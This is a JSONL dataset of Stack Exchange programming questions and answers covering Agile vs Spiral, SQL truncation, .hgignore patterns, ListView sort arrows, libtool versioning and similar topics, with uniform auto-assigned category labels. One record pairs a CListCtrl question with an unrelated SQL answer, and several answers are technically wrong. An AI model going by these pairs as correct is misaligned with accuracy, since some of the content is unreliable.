{"id": "hf_a9943b5b364d", "question": "<p>I believe that Agile is nothing but another implementation of Spiral Model. I am a big supporter of Spiral (The spiral model is a software development process combining elements of both design and prototyping-in-stages, in an effort to combine advantages of top-down and bottom-up concepts) since its beginnings and have seen that lot of projects implement Spiral without knowing that they are operating in a Spiral world. Since the day Agile started gaining popularity the concept of spiral started getting overlooked a little bit. I am sure that for complex projects spiral is still the best alternative but I would like to get a better understanding of the similarities and differences between Agile and Spiral techniques.   Can anyone explain their differences/similarities?</p>\n", "question_body": "", "answer": "Agile\nis\nspiral.  Totally.  In part, the name was changed for marketing purposes.\nThe problem is that spiral tends to imply \"big design up front\" -- where you plan out many spirals, each in order of risk.  Spiral, however, isn't Agile -- it's just incremental execution in order of risk.\nOne big distinction that Agile adds is the \"don't overplan things you can't know yet.\"\nAgile\nis\nspiral, but you create detailed plans for just\none\nincrement at a time.\nAgile adds a lot of other things, also.  Spiral is a very technical approach.  Agile, however, recognizes that technology is built by people.  The\nAgile Manifesto\nhas four principles that are above and beyond the Boehm's simple risk management approach.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:51.325210"}
{"id": "hf_870b6817099f", "question": "<p>We all know to keep it simple, right?</p>\n\n<p>I've seen complexity being measured as the number of interactions between systems, and I guess that's a very good place to start. Aside from gut feel though, what other (preferably more objective) methods can be used to determine the level of complexity of a particular design or piece of software?</p>\n\n<p>What are YOUR favorite rules or heuristics?</p>\n", "question_body": "", "answer": "If your app is built, you can measure it in terms of time (how long a particular task would take to execute) or computations (how much code is executed each time the task is run).\nIf you just have designs, then you can look at how many components of your design are needed to run a given task, or to run an average task. For example, if you use MVC as your design pattern, then you have at least 3 components touched for the majority of tasks, but depending on your implementation of the design, you may end up with dozens of components (a cache in addition to the 3 layers, for example).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:51.362623"}
{"id": "hf_e8be7312c89a", "question": "<p>Much searching has lead me to find several descriptions of how to create a bootstrapping msi, but these solutions all assume the msi is local or a standard Windows component.  Is there a way to make an msi that downloads an installer (which is also an msi) with normal MSI or Wix code rather than by having the bootstrapper execute some non-native program to do so?</p>\n", "question_body": "", "answer": "My experience with msi's has been it's not possible to run 2 at the same time. (could be wrong though)\nWhat I ended up doing was to instead make an installer exe using Inno Setup (\nhttp://www.jrsoftware.org\n) and ISTool (\nhttp://www.istool.org\n) which downloads and installs the various msi's.  With ISTool it's very easy to do.\nI know it's not as chic or sexy as Wix, but it worked for me very well.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:51.387905"}
{"id": "hf_e8a24dd08b3d", "question": "<p>I'm sorry, but this keyword doesn't mean anything to me... Can someone give me a definition?</p>\n\n<p>Thanks in advance...</p>\n", "question_body": "", "answer": "It's a brand.\nhttp://pervasive.com/\nAnd here is a link to their DB products\nhttp://www.pervasivedb.com/Pages/PDBProducts.aspx\nincluding Pervasive PSQL", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:51.438221"}
{"id": "hf_283377d65601", "question": "<p>What is the best way to refresh a <code>DataGridView</code> when you update an underlying data source?</p>\n\n<p>I'm updating the datasource frequently and wanted to display the outcome to the user as it happens.</p>\n\n<p>I've got something like this (and it works), but setting the <code>DataGridView.DataSource</code> to <code>null</code> doesn't seem like the right way.</p>\n\n<pre><code>List&lt;ItemState&gt; itemStates = new List&lt;ItemState&gt;();\ndataGridView1.DataSource = itemStates;\n\nfor (int i = 0; i &lt; 10; i++) { \n    itemStates.Add(new ItemState { Id = i.ToString() });\n    dataGridView1.DataSource = null;\n    dataGridView1.DataSource = itemStates;\n    System.Threading.Thread.Sleep(500);\n}\n</code></pre>\n", "question_body": "", "answer": "Try this Code\n```\n```\nList itemStates = new List();\n\nfor (int i = 0; i < 10; i++)\n{ \n    itemStates.Add(new ItemState { Id = i.ToString() });\n    dataGridView1.DataSource = itemStates;\n    dataGridView1.DataBind();\n    System.Threading.Thread.Sleep(500);\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:51.476226"}
{"id": "hf_b042d10a45cc", "question": "<p>Using MSSQL2005, can I truncate a table with a foreign key constraint if I first truncate the child table (the table with the primary key of the FK relationship)?</p>\n\n<p>I know that I can either</p>\n\n<ul>\n<li>Use a <code>DELETE</code> without a where clause and then <code>RESEED</code> the identity (or)</li>\n<li>Remove the FK, truncate the table, and recreate the FK.</li>\n</ul>\n\n<p>I thought that as long as I truncated the child table before the parent, I'd be okay without doing either of the options above, but I'm getting this error:</p>\n\n<blockquote>\n  <p>Cannot truncate table 'TableName' because it is being referenced by a FOREIGN KEY constraint.</p>\n</blockquote>\n", "question_body": "", "answer": "Correct; you cannot truncate a table which has an FK constraint on it.\nTypically my process for this is:\nDrop the constraints\nTrunc the table\nRecreate the constraints.\n(All in a transaction, of course.)\nOf course, this only applies if the\nchild has already been truncated.\nOtherwise I go a different route, dependent entirely on what my data looks like. (Too many variables to get into here.)\nThe original poster determined WHY this is the case; see\nthis answer\nfor more details.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:51.501558"}
{"id": "hf_098031770c89", "question": "<p>In a WPF app, is there a object I can assign to FileSystemWatcher.SynchronizingObject?</p>\n\n<p>I can make my own, but if there is one available, I would like to use it.</p>\n", "question_body": "", "answer": "Reflector shows that the only class that implements\n```\nISynchronizeInvoke\n```\n(i.e., the type of the\n```\nFileSystemWatcher.SynchronizingObject\n```\nproperty) is\n```\nSystem.Windows.Form.Control\n```\n(and its subclasses); there do not appear to be any WPF objects that implement this interface.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:51.527005"}
{"id": "hf_f09cd0c2775c", "question": "<p>I've looked for references on the Audible format, and it appears that people are only interested in cracking/converting <em>out</em> of it.  I've got a collection of MP3 files that I want to convert into Audible format for use on my Kindle and iPod.</p>\n\n<p>Does anybody have a good reference on the Audible or protected AAC formats and how section markers and metadata are expressed?  Better yet, a utility or code sample? </p>\n", "question_body": "", "answer": "The Audible format is a DRM protected proprietary format only available from Audible.  They protect their format diligently.  From what I understood, they used to charge handsomely for the right to use it.  I am not aware of any publicly available encoders that will create audible formatted files (for free or not).  Since Amazon bought Audible I am not sure if they would even sell the right to anyone else anymore.\nI do not own a Kindle, but from what I can tell, it only supports Audible formatted files with full audiobook functionality.  MP3's can be played , but they are not treated the same way (no support for chapters etc).\nCreating audiobooks with chapter support for the iPod requires creating a M4B file with a text track and making sure the audio track has the proper track reference to the text track.  M4B is a version of MP4 that uses AAC audio. There are several programs to do this on the MAC and recently a few have surfaced for the PC.\nI have created a freeware software package with a Graphical User Interface (GUI) for the PC which is in Beta test now.  It is called \"Chapter and Verse\" and it will be available on\nlodensoftware.com\nshortly. Two other options with GUI's are: \"\nChapter Master\n\" from Rightword Enterprises ($15) and \"\niPod Audio Book Converter\n\" (freeware) from\nsjhaley.com\nwhich is in Beta test as well.\nSeveral command line utilities exist as well. One is called Slide Show Assembler (SSA) that can be used to create podcasts as well as audiobooks.  SSA is available from\njrlearnsmedia.com\n.  Another is a command line utility for manipulating MP4 files called mp4creator.  mp4creator can add chapters to a MP4 file.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:51.579717"}
{"id": "hf_0efc91e90d98", "question": "<p>I have a case that keeps coming up where I'm using a ListView or similar control with a simple array such as string[].</p>\n\n<p>Is there a way to use the DataKeyNames property when you are binding to simple collections?</p>\n", "question_body": "", "answer": "Try using a Generic List with objects object.  The example below is C# 3.0.  Say you want a list of letters:\n```\n```\npublic class LettersInfo\n{\n    public String Letter { get; set; }\n}\n```\n```\nthen make a list:\n```\n```\nList<LettersInfo> list = new List<LettersInfo>();\nlist.add(new LettersInfo{ Letter = \"A\" });\nlist.add(new LettersInfo{ Letter = \"B\" });\nlist.add(new LettersInfo{ Letter = \"C\" });\n```\n```\nthen bind it to the listview\n```\n```\nlv.DataKeyNames = \"Letter\";\nlv.DataSource = list;\nlv.DataBind();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:51.604735"}
{"id": "hf_b60cfa4adb80", "question": "<p>I want to have CListCtrl.EditLabel() for any column of the list. How can I implement such a feature?</p>\n", "question_body": "", "answer": "Description is a reserved word - put some [] brackets around it in the SELECT statement\nEDIT\nTry naming the column something besides Description\nAlso are you sure you are using the same values in the where clause - because it is a left join so the Description field will be blank if there is no corresponding record in dbo_part\nEDIT AGAIN\nIf you are getting funny results - try a Compact/Repair Database - It might be corrupted", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:51.642652"}
{"id": "hf_b89bfe66230b", "question": "<p>If I wanted to find checked check boxes on an ASP.NET page I could use the following LINQ query.</p>\n\n<pre><code>var checkBoxes = this.Controls\n                     .OfType&lt;CheckBox&gt;()\n                     .TakeWhile&lt;CheckBox&gt;(cb =&gt; cb.Checked);\n</code></pre>\n\n<p>That works fine if the checkboxes are nested in the current control collection, but I'd like to know how to extend the search by drilling down into the control collections of the top-level controls.</p>\n\n<p>The question was asked here:</p>\n\n<p><a href=\"https://stackoverflow.com/questions/28642/finding-controls-that-use-a-certain-interface-in-aspnet\">Finding controls that use a certain interface in ASP.NET</a></p>\n\n<p>And received non-LINQ answers, I already have my own version of a recursive control search on type and ID as extension methods, but I just wondered how easy this is to do in LINQ?</p>\n", "question_body": "", "answer": "Take the type/ID checking out of the recursion, so just have a \"give me all the controls, recursively\" method, e.g.\n```\n```\npublic static IEnumerable<Control> GetAllControls(this Control parent)\n{\n    foreach (Control control in parent.Controls)\n    {\n        yield return control;\n        foreach(Control descendant in control.GetAllControls())\n        {\n            yield return descendant;\n        }\n    }\n}\n```\n```\nThat's somewhat inefficient (in terms of creating lots of iterators) but I doubt that you'll have a\nvery\ndeep tree.\nYou can then write your original query as:\n```\n```\nvar checkBoxes = this.GetAllControls()\n                     .OfType<CheckBox>()\n                     .TakeWhile<CheckBox>(cb => cb.Checked);\n```\n```\n(EDIT: Changed AllControls to GetAllControls and use it properly as a method.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:51.705430"}
{"id": "hf_f796dc07b2af", "question": "<p><code>select max(DELIVERY_TIMESTAMP) from DOCUMENTS;</code> will return the time that the latest document was delivered. How do I return <strong>the other columns</strong> for the latest document? For example I want <code>DOC_NAME</code> for the document that was most recently delivered?</p>\n\n<p>I'm not sure how to form the <code>WHERE</code> clause.</p>\n", "question_body": "", "answer": "```\n```\nSelect Max(DELIVERY_TIMESTAMP), \n       Doc_Name\nFrom TableName\nGroup By Doc_Name\n```\n```\nThat should do it, unless I missed something in the question.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:51.799617"}
{"id": "hf_2769f9deff13", "question": "<p>I am looking for an expression for the .hgignore file, to ignore all files beneath a specified folder.</p>\n\n<p>eg: I would like to ignore all files and folders beneath bin</p>\n\n<p>Actually any advice on how the expressions are formed would be great</p>\n", "question_body": "", "answer": "Nevermind, I got it\n```\n```\nsyntax: regexp\nbin\\\\*\n```\n```\nexpressions follow standard perl regular expression syntax.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:51.836629"}
{"id": "hf_c8413bcb2cc0", "question": "<p>I am using the EMMA tool for code coverage yet despite my best efforts, EMMA is refusing to see the original .java files and generate coverage on a line-by-line basis.</p>\n\n<p>We are using ANT to build the code and debug is set to true. I know that EMMA is measuring coverage as the .emma files seem to be generating and merging correctly. The reports are able to present high level method coverage with percentages. </p>\n\n<p>But why won't it see the .java files? All I get is:\n[source file 'a/b/c/d/e/f/code.java' not found in sourcepath]</p>\n", "question_body": "", "answer": "Are you setting the\n```\nsourcepath\n```\nin your\n```\nreport\n```\nelement?\n```\n```\n<report>\n    <sourcepath>\n        <pathelement path=\"${java.src.dir}\" />\n    </sourcepath>\n    <fileset dir=\"data\">\n        <include name=\"*.emma\" />\n    </fileset>\n\n    <txt outfile=\"coverage.txt\" />\n    <html outfile=\"coverage.html\" />\n</report>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:51.861048"}
{"id": "hf_2660f22a396e", "question": "<p>This probably has a simple answer, but I must not have had enough coffee to figure it out on my own:</p>\n\n<p>If I had a comma delimited string such as:</p>\n\n<pre><code>string list = \"Fred,Sam,Mike,Sarah\";\n</code></pre>\n\n<p>How would get each element and add quotes around it and stick it back in a string like this:</p>\n\n<pre><code>string newList = \"'Fred','Sam','Mike','Sarah'\";\n</code></pre>\n\n<p>I'm assuming iterating over each one would be a start, but I got stumped after that.</p>\n\n<p>One solution that is ugly:</p>\n\n<pre><code>int number = 0;\nstring newList = \"\";\nforeach (string item in list.Split(new char[] {','}))\n{\n    if (number &gt; 0)\n    {\n        newList = newList + \",\" + \"'\" + item + \"'\";\n    }\n    else\n    {\n        newList = \"'\" + item + \"'\";\n    }\n    number++;\n}\n</code></pre>\n", "question_body": "", "answer": "```\n```\nstring s = \"A,B,C\";\nstring replaced = \"'\"+s.Replace(\",\", \"','\")+\"'\";\n```\n```\nThanks for the comments, I had missed the external quotes.\nOf course.. if the source was an empty string, would you want the extra quotes around it or not ? And what if the input was a bunch of whitespaces... ? I mean, to give a 100% complete solution I'd probably ask for a list of unit tests but I hope my gut instinct answered your core question.\nUpdate\n: A LINQ-based alternative has also been suggested (with the added benefit of using String.Format and therefore not having to worry about leading/trailing quotes):\n```\n```\nstring list = \"Fred,Sam,Mike,Sarah\";\nstring newList = string.Join(\",\", list.Split(',').Select(x => string.Format(\"'{0}'\", x)).ToList());\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:51.886385"}
{"id": "hf_232a4882d016", "question": "<p>Where can I set the display name in the Service Control Manager of a c++ app?</p>\n", "question_body": "", "answer": "Use\nChangeServiceConfig\nto change the display name; you can use\nChangeServiceConfig2\nto change the description.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:51.964391"}
{"id": "hf_47afe4ef909e", "question": "<p>I am using the SoundEngine sample code from Apple in the CrashLanding sample to play back multiple audio files. Using the sample caf files included with CrashLanding everything works fine but when I try and use my own samplesconverted to CAF using afconvert all I get is a stony silence ;)</p>\n\n<p>Does anyone have settings for afconvert that will produce a CAF file capable of being played back through OpenAL?</p>\n", "question_body": "", "answer": "```\n```\nafconvert -f caff -d LEI16@44100 -c 1 in.wav out.caf\n```\n```\nReferences:\nApple's\nMultimedia Programming Guide: Using Audio: Preferred Audio Formats in iOS\nafconvert(1) man page\n(use\n```\nafconvert -h\n```\nfor complete info)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:52.056285"}
{"id": "hf_c8892ce4701c", "question": "<p>In .Net (VB more specifically, but that doesn't really matter), is there a way to change the format of a number from one culture to another strictly through the that number's type? </p>\n\n<p>The issue is this: In English, the number is say, 123.45.  Whereas in Sweden, the number would be 123,45</p>\n\n<p>Is there a way to convert 123,45 to 123.45 without having to convert it to a string (and then use the formatting methods) then convert it back to the correct type (single, double, etc)?</p>\n", "question_body": "", "answer": "Leave it as a number.  Change the cultureInfo of the thread and it will display accordingly with no need of conversion.\nE.g.\n```\n```\nThread.CurrentThread.CurrentCulture = New CultureInfo(\"se-SE\")\nThread.CurrentThread.CurrentUICulture = Thread.CurrentThread.CurrentCulture\n```\n```\nNever try and specifically format numbers or dates into strings or you will be on your way to hell.\nUPDATE: Jon makes a point to be aware of in comments, you'll know if it applies to your situation or not.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:52.081398"}
{"id": "hf_913968b591f0", "question": "<p>I'm writing a mapping app that uses a Canvas for positioning elements.  For each element I have to programatically convert element's Lat/Long to the canvas' coordinate, then set the Canvas.Top and Canvas.Left properties.</p>\n\n<p>If I had a 360x180 Canvas, can I convert the coordinates on the canvas to go from -180 to 180 rather than 0 to 360 on the X axis and 90 to -90 rather than 0 to 180  on the Y axis?</p>\n\n<p>Scaling requirements:</p>\n\n<ul>\n<li>The canvas can be any size, so should still work if it's 360x180 or 5000x100.</li>\n<li>The Lat/Long area may not always be (-90,-180)x(90,180), it could be anything (ie (5,-175)x(89,-174)).</li>\n<li>Elements such as PathGeometry which are point base, rather than Canvas.Top/Left based need to work.</li>\n</ul>\n", "question_body": "", "answer": "I'm pretty sure you can't do that exactly, but it would be pretty trivial to have a method which translated from lat/long to Canvas coordinates.\n```\n```\nPoint ToCanvas(double lat, double lon) {\n  double x = ((lon * myCanvas.ActualWidth) / 360.0) - 180.0;\n  double y = ((lat * myCanvas.ActualHeight) / 180.0) - 90.0;\n  return new Point(x,y);\n}\n```\n```\n(Or something along those lines)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:52.168207"}
{"id": "hf_717fd9e1f93c", "question": "<p>How can I display a sort arrow in the header of the sorted column in a list view which follows the native look of the operating system?</p>\n", "question_body": "", "answer": "You can use the following extension method to set the sort arrow to a particular column:\n```\n```\n[EditorBrowsable(EditorBrowsableState.Never)]\npublic static class ListViewExtensions\n{\n    [StructLayout(LayoutKind.Sequential)]\n    public struct HDITEM\n    {\n        public Mask mask;\n        public int cxy;\n        [MarshalAs(UnmanagedType.LPTStr)] public string pszText;\n        public IntPtr hbm;\n        public int cchTextMax;\n        public Format fmt;\n        public IntPtr lParam;\n        // _WIN32_IE >= 0x0300 \n        public int iImage;\n        public int iOrder;\n        // _WIN32_IE >= 0x0500\n        public uint type;\n        public IntPtr pvFilter;\n        // _WIN32_WINNT >= 0x0600\n        public uint state;\n\n        [Flags]\n        public enum Mask\n        {\n            Format = 0x4,       // HDI_FORMAT\n        };\n\n        [Flags]\n        public enum Format\n        {\n            SortDown = 0x200,   // HDF_SORTDOWN\n            SortUp = 0x400,     // HDF_SORTUP\n        };\n    };\n\n    public const int LVM_FIRST = 0x1000;\n    public const int LVM_GETHEADER = LVM_FIRST + 31;\n\n    public const int HDM_FIRST = 0x1200;\n    public const int HDM_GETITEM = HDM_FIRST + 11;\n    public const int HDM_SETITEM = HDM_FIRST + 12;\n\n    [DllImport(\"user32.dll\", CharSet = CharSet.Auto, SetLastError = true)]\n    public static extern IntPtr SendMessage(IntPtr hWnd, UInt32 msg, IntPtr wParam, IntPtr lParam);\n\n    [DllImport(\"user32.dll\", CharSet = CharSet.Auto, SetLastError = true)]\n    public static extern IntPtr SendMessage(IntPtr hWnd, UInt32 msg, IntPtr wParam, ref HDITEM lParam);\n\n    public static void SetSortIcon(this ListView listViewControl, int columnIndex, SortOrder order)\n    {\n        IntPtr columnHeader = SendMessage(listViewControl.Handle, LVM_GETHEADER, IntPtr.Zero, IntPtr.Zero);\n        for (int columnNumber = 0; columnNumber <= listViewControl.Columns.Count - 1; columnNumber++)\n        {\n            var columnPtr = new IntPtr(columnNumber);\n            var item = new HDITEM\n                {\n                    mask = HDITEM.Mask.Format\n                };\n\n            if (SendMessage(columnHeader, HDM_GETITEM, columnPtr, ref item) == IntPtr.Zero)\n            {\n                throw new Win32Exception();\n            }\n\n            if (order != SortOrder.None && columnNumber == columnIndex)\n            {\n                switch (order)\n                {\n                    case SortOrder.Ascending:\n                        item.fmt &= ~HDITEM.Format.SortDown;\n                        item.fmt |= HDITEM.Format.SortUp;\n                        break;\n                    case SortOrder.Descending:\n                        item.fmt &= ~HDITEM.Format.SortUp;\n                        item.fmt |= HDITEM.Format.SortDown;\n                        break;\n                }\n            }\n            else\n            {\n                item.fmt &= ~HDITEM.Format.SortDown & ~HDITEM.Format.SortUp;\n            }\n\n            if (SendMessage(columnHeader, HDM_SETITEM, columnPtr, ref item) == IntPtr.Zero)\n            {\n                throw new Win32Exception();\n            }\n        }\n    }\n}\n```\n```\nThen, you can call the extension method like such:\n```\n```\nmyListView.SetSortIcon(0, SortOrder.Ascending);\n```\n```\nIt works by using P/Invoke to:\nGet the handle to the header control for a list view using the\nLVM_GETHEADER\nmessage.\nGet the information about a header column using the\nHDM_GETITEM\nmessage.\nIt then modifies the\n```\nfmt\n```\nto set / clear the\n```\nHDF_SORTDOWN\n```\nand\n```\nHDF_SORTUP\n```\nflags on the returned\nHDITEM\nstructure.\nFinally it re-sets the information usintg the\nHDM_SETITEM\nmessage.\nThis is what it looks like:", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:52.193212"}
{"id": "hf_66612277b0ec", "question": "<p>I am wondering what are the possible value for *_la_LDFLAGS in Makefile.am ? </p>\n\n<p>If I ask this question, it is because I would like the following :</p>\n\n<pre><code>Actual shared library : libA.so (or with the version number I don't care)\nSymbolic links :        libA-X.Y.Z.so, libA-X.so, libA.so \nsoname :                libA-X.so\n</code></pre>\n\n<p>However here is what I get by using the <em>-release</em> flag :</p>\n\n<pre><code>Actual shared library : libA-X.Y.Z.so\nSymbolic links :        libA.so \nsoname :                libA-X.Y.Z.so    !!! this is not what I want \n</code></pre>\n\n<p>I also tried with no flags at all and got </p>\n\n<pre><code>Actual shared library : libA-0.0.0.so    !!! 0.0.0 and not the real version\nSymbolic links :        libA.so, libA-0.so\nsoname :                libA-0.so        !!! 0.0.0 and not the real version\n</code></pre>\n\n<p>How should I do ? which flag should I use ? </p>\n\n<p>Thanks in advance</p>\n", "question_body": "", "answer": "You should use the\n```\n-version-info\n```\noption of Libtool to specify the interface version of the library, but be sure to read\nhow versioning works\n(or\nhere\nfor the official manual.)\nYou can additionally play with\n```\n-release\n```\nto make the version number of your package more apparent, but I doubt you will ever get the exact naming you'd like.  Libtool has its own set of rules to define how to name the file and what symlinks to create depending on the system: these should really be regarded as implementation details of how a shared library is installed.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:52.219847"}
{"id": "hf_f5261d219ba8", "question": "<p>My group has a source analysis tool that enforces certain styles that we have to comply with.  I can't change it, and some of the rules are just a pain.  One example is that all properties have to come before methods, and all constructors must come before properties.  It seems silly to me that I have to take time to do something to the program when to the compiler it is the same.  I would like some thing that is a plugin to VS that will let me do things like this automatically.  Also, it would be nice to have it automatically put using's inside the namespace block.</p>\n", "question_body": "", "answer": "You have different possibilities, depending on what exactly you want to do:\nResharper: There is a auto-format function which formats the source code of a single file or all files in the project / solution depending on your selected rules. So you set the settings for braces, naming, whitespaces, operators, lamdas, ... For more information see\nhere\n. Resharper also supports settings a source- code file for all solutions or a shared settings file which is the same for all persons in the team.\nFxCop: I havn't ever used this at work, but it's also a great tool an you can also select the rules which you want to enforce.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:52.295106"}
{"id": "hf_dcf271589c65", "question": "<p>Currently I'm using</p>\n\n<pre><code>var x = dict.ContainsKey(key) ? dict[key] : defaultValue\n</code></pre>\n\n<p>I'd like some way to have dictionary[key] return null for nonexistant keys, so I could write something like</p>\n\n<pre><code>var x =  dict[key] ?? defaultValue;\n</code></pre>\n\n<p>this also winds up being part of linq queries etc. so I'd prefer one-line solutions. </p>\n", "question_body": "", "answer": "You can use a helper method:\n```\n```\npublic abstract class MyHelper {\n    public static V GetValueOrDefault<K,V>( Dictionary<K,V> dic, K key ) {\n        V ret;\n        bool found = dic.TryGetValue( key, out ret );\n        if ( found ) { return ret; }\n        return default(V);\n    }\n}\n\nvar x = MyHelper.GetValueOrDefault( dic, key );\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:52.320156"}
{"id": "hf_491d28eb36e9", "question": "<p>I have a simple HTML upload form, and I want to specify a default extension (\"*.drp\" for example). I've read that the way to do this is through the ACCEPT attribute of the input tag, but I don't know how exactly.</p>\n\n<pre><code>&lt;form enctype=\"multipart/form-data\" action=\"uploader.php\" method=\"POST\"&gt;\nUpload DRP File:\n&lt;input name=\"Upload Saved Replay\" type=\"file\" accept=\"*.drp\"/&gt;&lt;br /&gt;\n&lt;input type=\"submit\" value=\"Upload File\" /&gt;\n&lt;/form&gt;\n</code></pre>\n\n<p><strong>Edit</strong>\nI know validation is possible using javascript, but I would like the user to only see \".drp\" files in his popup dialog. Also, I don't care much about server-side validation in this application.</p>\n", "question_body": "", "answer": "The accept attribute expects MIME types, not file masks. For example, to accept PNG images, you'd need accept=\"image/png\". You may need to find out what MIME type the browser considers your file type to be, and use that accordingly. However, since a 'drp' file does not appear standard, you\nmight\nhave to accept a generic MIME type.\nAdditionally, it appears that most browsers may not honor this attribute.\nThe better way to filter file uploads is going to be on the server-side. This is inconvenient since the occasional user might waste time uploading a file only to learn they chose the wrong one, but at least you'll have some form of data integrity.\nAlternatively you may choose to do a quick check with JavaScript before the form is submitted. Just check the extension of the file field's value to see if it is \".drp\". This is probably going to be much more supported than the accept attribute.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:52.345945"}
